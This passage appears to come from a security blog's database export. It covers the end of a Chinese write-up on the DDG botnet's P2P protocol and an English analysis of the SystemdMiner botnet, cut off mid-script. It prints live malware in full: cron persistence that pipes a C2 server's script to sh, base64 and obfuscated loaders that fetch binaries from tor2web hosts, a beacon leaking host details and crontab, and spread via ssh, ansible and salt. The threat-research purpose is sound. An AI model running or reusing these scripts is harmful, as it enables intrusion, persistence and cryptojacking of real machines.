为例："]]],[10,25],[10,26],[1,"p",[[0,[],0,"值得注意的两点："]]],[3,"ol",[[[0,[],0,"DDG Peers 之间发送 HTTP Post 请求，HTTP Request Header 中相比请求 "],[0,[0],1,"xhub"],[0,[],0," 时少了一个 "],[0,[0],1,"X-Port"],[0,[],0,"。"]],[[0,[],0,"发往 Peer 的 HTTP 请求，"],[0,[0],1,"复用了前面 Ping/Pong 通信中用到的 TCP 连接"],[0,[],0,"，即同一个 TCP Session，刚开始用来 Ping/Pong 交互，后面直接基于这个 TCP Session 发送 HTTP 请求、接收 HTTP 响应，所以 HTTP Header 中 "],[0,[0],1,"Host"],[0,[],0," 字段里"],[0,[0],1,"随机生成的域名并不会经过 DNS 解析"],[0,[],0,"。"]]]],[1,"p",[[0,[],0,"对端响应的 "],[0,[0],1,"slave"],[0,[],0," config 数据，是经 msgpack 序列化编码过的二进制数据，数据格式与旧版本变化不大，解码方式可以参考 "],[0,[18,0],2,"以 P2P 的方式追踪 DDG"],[0,[],0," 。最新解码后的 "],[0,[0],1,"slave"],[0,[],0," config 数据已上传到 Github："]]],[1,"p",[[0,[0,5],2,"https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json"]]],[1,"p",[[0,[],0,"解码后的 "],[0,[0],1,"slave"],[0,[],0," config 数据包含自身数据的数字签名，DDG 样本会以此校验 "],[0,[0],1,"slave"],[0,[],0," config 数据，校验时用到的 RSA 公钥硬编码在样本中："]]],[10,27],[1,"h4",[[0,[0],1,"3.3.3 下载恶意组件"]]],[1,"p",[[0,[],0,"没有被选中拉取 "],[0,[0],1,"slave"],[0,[],0," config 和 "],[0,[0],1,"jobs"],[0,[],0," config 的 Peer，DDG 会继续与他们的 Ping/Pong 通信。从某个 Peer 拉取的 "],[0,[0],1,"slave"],[0,[],0," config 中指定了恶意矿机程序 Miner 的下载 URI、本地存放路径和 MD5，DDG 接下来会随机选取另一个 Ping/Pong 中的 Peer，"],[0,[0],1,"复用 Ping/Pong 的 TCP Session"],[0,[],0,"，通过 HTTP 协议向其发起 Miner 的下载请求："]]],[10,28],[1,"p",[[0,[],0,"下载到的恶意矿机程序，DDG 不仅会将其存放到 "],[0,[0],1,"slave"],[0,[],0," config 中指定的本地路径，还会连同 HTTP Response Header 中的 "],[0,[0],1,"X-Sig"],[0,[],0," 内容作为矿机程序的数字签名数据一起放到自己创建的"],[0,[0],1,"工作目录"],[0,[],0,"中："]]],[10,29],[1,"p",[[0,[],0,"DDG 从 Peer 下载已编译的 Busybox 程序的过程同上。"]]],[1,"h4",[[0,[0],1,"3.3.4 响应其他 Peers 的请求"]]],[1,"p",[[0,[],0,"P2P 协议中，Peers 之间的功能、角色是对等的。DDG 样本既然可以从其他 Peer 那里拉取数据和文件，自然也可以响应其他 Peer 的对等请求。"]]],[1,"p",[[0,[],0,"当 Peer 来请求 "],[0,[0],1,"slave"],[0,[],0," config或 "],[0,[0],1,"jobs"],[0,[],0," config 时，DDG 样本会从内存中整理好一份自己持有的数据，经过与前面阐述的解码、解密相反的编码、加密处理，返回给 Peer。"]]],[1,"p",[[0,[],0,"当 Peer 来请求下载矿机程序(比如上面的 "],[0,[0],1,"wordpress"],[0,[],0," 文件)或已编译好的 Busybox 程序时，DDG 样本会检查自己的"],[0,[0],1,"工作目录"],[0,[],0,"的 "],[0,[0],1,"cache"],[0,[],0," 子目录中是否已经缓存了相应文件，如果缓存了相应文件并且签名有效，就会返回给 Peer。"]]],[1,"p",[[0,[],0,"另外的问题是，很多 DDG 控制的失陷主机都在内网，不一定可以穿透 NAT 对外提供这种服务。所以跟踪程序无法通过 P2P 机制跟踪到所有的 Bot。"]]],[1,"h4",[[0,[0],1,"3.3.5 Peers 之间的 Proxy 特性"]]],[1,"p",[[0,[],0,"DDG 的 P2P 机制中，还有一个有意思的特性：Peer 的 Proxy 功能。"]]],[1,"p",[[0,[],0,"当某个 Peer 来请求下载矿机程序或 Busybox 程序时，如果 DDG 经过检查发现自己工作目录中暂时不存在相应文件，它就会把自己作为一个 Proxy，向自己成功连接的其他 Peer 随机发送相应的下载请求。如果成功下载，就会返回给向自己请求下载文件的 Peer。"]]],[1,"h2",[[0,[0],1,"4. 总结"]]],[1,"p",[[0,[],0,"DDG 经过两年多的发展，从最初简单的挖矿木马，到借用第三方协议框架构建简单的 P2P 网络，到现在自研 P2P 协议，已经演化成了一个复杂的 P2P 僵尸网络。可能这是第一个 P2P 结构的挖矿僵尸网络。如果你怀疑自己的主机被 DDG 入侵，建议从以下几个方面排查、处置："]]],[3,"ol",[[[0,[],0,"检查 "],[0,[4],1,"/var/spool/cron/root"],[0,[],0," 和 "],[0,[4],1,"/var/spool/cron/crontabs/root"],[0,[],0," 是否存在恶意 Cron Jobs"]],[[0,[],0,"检查 "],[0,[4],1,"~/.ssh/authorized_keys"],[0,[],0," 文件中是否存在恶意 SSH Public Key"]],[[0,[],0,"检查 "],[0,[4],1,"/var/lib/"],[0,[],0," , "],[0,[4],1,"/usr/local/"],[0,[],0," 目录下的隐藏目录，是否存在 DDG 工作目录"]],[[0,[],0,"检查 "],[0,[4],1,"/usr/bin/"],[0,[],0,", "],[0,[4],1,"/usr/local/bin/"],[0,[],0," 目录下是否存在可疑 ELF 文件"]],[[0,[],0,"检查 "],[0,[4],1,"/etc/hosts"],[0,[],0," 文件是否被写入恶意内容"]]]],[1,"h2",[[0,[0],1,"5. IoCs"]]],[1,"p",[[0,[],0,"C&C:"]]],[10,30],[1,"p",[[0,[],0,"URLs:"]]],[10,31],[1,"p",[[0,[],0,"MD5s:"]]],[10,32]],"ghostVersion":"3.0"} | 6096185e3819e50007633d2d |
post | null | 2021-05-08T04:51:51.000Z | 63873b9a8b1c1e0007f52fc5 | systemdminer-when-a-botnet-borrows-another-botnets-infrastructure | 0 | 2021-05-08T04:52:50.000Z | public | published | null | 2019-05-07T04:51:00.000Z | SystemdMiner,when a botnet borrows another botnet’s infrastructure | <h2 id="update-2019-4-26-17-30-"><strong>Update(2019.4.26 17:30)</strong></h2><p>About 3 hours after the release of this article, we found that the attacker took down the URL of some Payload downloads, the following URL has expired:</p><pre><code>aptgetgxqs3secda.onion.ly/systemd-cron.sh
aptgetgxqs3secda.onion.pet/systemd-cron.sh
aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.onion.ly/systemd-resolve
aptgetgxqs3secda.onion.pet/systemd-resolve
aptgetgxqs3secda.onion.ly/systemd.sh
aptgetgxqs3secda.onion.pet/systemd.sh
aptgetgxqs3secda.onion.ly/systemd-analyze
aptgetgxqs3secda.onion.pet/systemd-analyze
rapid7cpfqnwxodo.onion.ly/systemd-login-h
rapid7cpfqnwxodo.onion.pet/systemd-login-h
</code></pre><h2 id="1-overview"><strong>1. Overview</strong></h2><p>On Apr 11, we published a threat update on the DDG.Mining Botnet <strong><a href="__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/">here</a></strong> with the following active C2:</p><pre><code>119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
</code></pre><p>Then in the early morning of 2019.4.19, we found that DDG updated its configuration data and the malicious shell script <strong>i.sh</strong> from this C2. And at the end of the i.sh script, a new shell script section was added.</p><p>The new shell script downloads a new set of malicious programs, interestingly, these new programs run independently from the DDG infrastructure. And it also kills the DDG process and clears out the DDG cron configuration.</p><p>Shortly after these new malicious programs appear , the above-mentioned main DDG C2 went offline.</p><p>We named this new botnet <strong>SystemdMiner</strong>, as multiple components of this malicious programs use <code>systemd-<XXX></code> as their names.</p><p>This botnet uses three means to spread itself, and after a successful compromise, a mining program based on XMRig will be downloaded for profit making.</p><p>Although the above-mentioned main DDG C2 came offline, the DDG botnet did not die. Thanks to its P2P network structure and two standby C2s, the DDG botnet is still alive, with 3000+ active P2P Nodes per day.</p><p>In the early morning of 4.25, DDG came back online with 2 new C2s and upgraded its version number to v4000. The configuration data version is <strong>CfgVer:25</strong> . This latest update blocks the SystemdMiner’s C2 in the hosts file, and starts to use the following 2 new C2s:</p><pre><code>109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16 AS62217|VooServers_Ltd|United States|New York
</code></pre><p><strong>SystemdMiner</strong> is completely different from DDG in terms of C2 infrastructure, network structure, malicious code technical details, propagation methods, cryptomining machine programs, etc.:</p><ul><li>The DDG infrastructure consists of one primary C2 IP and two or three standby C2 IPs, while the SystemdMiner infrastructure is in dark network and make them accessible through services like tor2web (and cryptominging pool proxy IP) ;</li><li>The current network structure of DDG is a hybrid structure--a combination of a set of C2 IPs and <a href="__GHOST_URL__/ddg-botnet-a-frenzy-of-updates-before-chinese-new-year-2/">P2P network</a>, and the network structure of SystemdMiner is a traditional <strong>C/S</strong> structure;</li><li>The main sample of DDG is written in Go language. It has been the same since its birth. It runs with a malicious shell script i.sh. The main binary samples of SystemdMiner is written in C language. The implementation details and other details of the code are also completely different;</li><li>DDG's current binary samples are all packed with standard UPX packer, while systemdMiner's binary samples packed with morphed UPX packer with no intuitive UPX features;</li><li>The DDG is mainly spread by using SSH weak passwords and Redis unauthorized access vulnerabilities. SystemdMiner uses the following means;YARN's unauthorized access vulnerability;Use the *nix automated operation and maintenance tool (salt / ansible / chef-knife) for horizontal propagation;Propagating itself with the SSH key saved locally once it has access to a target host.</li><li>DDG's cryptominer program was compiled directly from XMRig, without packed, and XMR Wallet was hard coded in the cryptominer program. The SysmtedMiner cryptominer program made significant changes to the XMRig source code, packed with a morphed UPX packer, and did not expose XMR Wallet.</li></ul><p><strong>SystemdMiner</strong>’s main components:</p><ul><li><strong>systemd-login-ddg</strong> ,<strong>ddgs.i686</strong>, <strong>ddgs.x86_64</strong>, <strong>systemd-login</strong>, <strong>systemd-login-h</strong> : these are the main samples, to set up tasks, horizontally propagate and download other samples and execute;</li><li><strong>cron.sh</strong> : to periodically download and execute the main samples;</li><li><strong>systemd.sh</strong> : to update the main sample and cryptominer program;</li><li><strong>systemd-resolve</strong> : exploit YARN unauthorize access vulnerabilities to spread itself horizontally;</li><li><strong>systemd-analyze</strong> : cryptominer program.</li></ul><p>The systemdMiner’s real C2 servers are set up in the dark network and are mapped to the public network through a set of services like tor2web.</p><p>The following diagram shows dns requests trends for the C2 Domains of systemdMiner from our DNSMon:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/dns_trend.png" class="kg-image" alt loading="lazy" title="dns_trend"></figure><h2 id="2-ddg-s-last-config-data-and-i-sh-before-v4000"><strong>2. DDG's last config data and i.sh before v4000</strong></h2><p><strong>config data</strong>:</p><pre><code>{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
</code></pre><p>And the last <strong>i.sh</strong> before ddg.v4000 :</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce
ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9
echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash
</code></pre><p>Note the last Base64-encoded string in the <strong>i.sh</strong> script, which is decoded as a separate stand-alone shell script:</p><pre><code>exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts
d() {
x=/systemd-login-ddg
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
</code></pre><p>This Shell script first checks the process ID in the <code>/tmp/.X1M-unix</code> , if the file does not exist or process is not running, it then attempts to download and run <strong>systemd-login-ddg</strong> through the following URLs :</p><pre><code>aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg
</code></pre><p>In addition, in the i.sh script, the DDG download files in the URL <code>hxxp://119.9.106.27:8000/static/3022/ddgs.$(uname -m)</code> is also replaced with the following <strong>SystemdMiner</strong>’s own programs. Thus, there are 3 <strong>SystemdMiner</strong>'s malicious programs was downloaded to DDG's bot through this propagation:</p><ul><li>systemd-login-ddg</li><li>ddgs.i686</li><li>ddgs.x86_64</li></ul><h2 id="3-systemdminer-sample-analysis"><strong>3. SystemdMiner sample analysis</strong></h2><h3 id="3-1-systemd-login-ddg"><strong>3.1 Systemd-login-ddg</strong></h3><p><strong>systemd-login-ddg</strong> is one of the core files, the other four ddgs.i686, ddsg.x86_64, system-login, system-login-h are <strong>systemd-login-dd</strong>g variants.</p><p>All binary samples related to SystemdMiner are compiled from <strong><a href="https://www.musl-libc.org/">musl-libc</a></strong> . And packed with deformed UPX, the Magic Number of the deformed UPX packer is <strong>0x7373622E</strong> (ASCII String: <strong><code>.bss</code></strong>) :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/packer.png" class="kg-image" alt loading="lazy" title="packer"></figure><p>After unpacking, all the binary malicious program checks <strong>LD_PRELOAD</strong> and <strong>PTRACE_TRACEME</strong> for anti-debugging and anti-sandboxing:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/anti_analysis.png" class="kg-image" alt loading="lazy"></figure><p>Then, <strong>systemd-login-ddg</strong> deletes itself, creating the daemon process and writing the process ID into <code>/tmp/.X1M-unix</code>, the process name is <code><strong>-bash</strong></code>:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/create_daemon.png" class="kg-image" alt loading="lazy"></figure><p>Next, systemd-login-ddg writes the following script into the <code>/tmp/systemd</code>:</p><pre><code>#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash
</code></pre><p>The Base64-encoded string in the above script is decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
</code></pre><p>If the current user is <strong>root</strong> , the sample will also check directory <code>/lib/systemd/</code> , and execute the command <code>cp -f /tmp/systemd /lib/systemd/systemd-login</code> so it gets executed when the system starts.</p><p>Then, <code>mv -f /tmp/systemd ~/.systemd-login</code> , to move and hide the systemd file to the user's home directory.</p><p>The script file used to boot and execute the above <code>/lib/systemd/systemd-login</code> downloads a <strong>cron.sh</strong> file from the C2 server.</p><p><strong>cron.sh</strong> is a highly obfuscated shell script with the following contents:</p><pre><code>"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
</code></pre><p>The real content after de-obfuscation:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>Finally, <strong>systemd-login-ddg</strong> continues to execute a series of Base64-encoded shell scripts.</p><h4 id="3-1-1-shell-script-1-report-to-c2-and-use-automated-operation-and-maintenance-tools-to-spread"><strong>3.1.1 Shell Script 1: Report to C2 and use automated operation and maintenance tools to spread</strong></h4><p>The original script is Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}
s1() {
x=/slave
y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}
s2() {
x=/systemd-resolve
y=/tmp/systemd-resolve
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
s3() {
if [ -x $(command -v ansible) ]; then
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v salt) ]; then
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v knife) ]; then
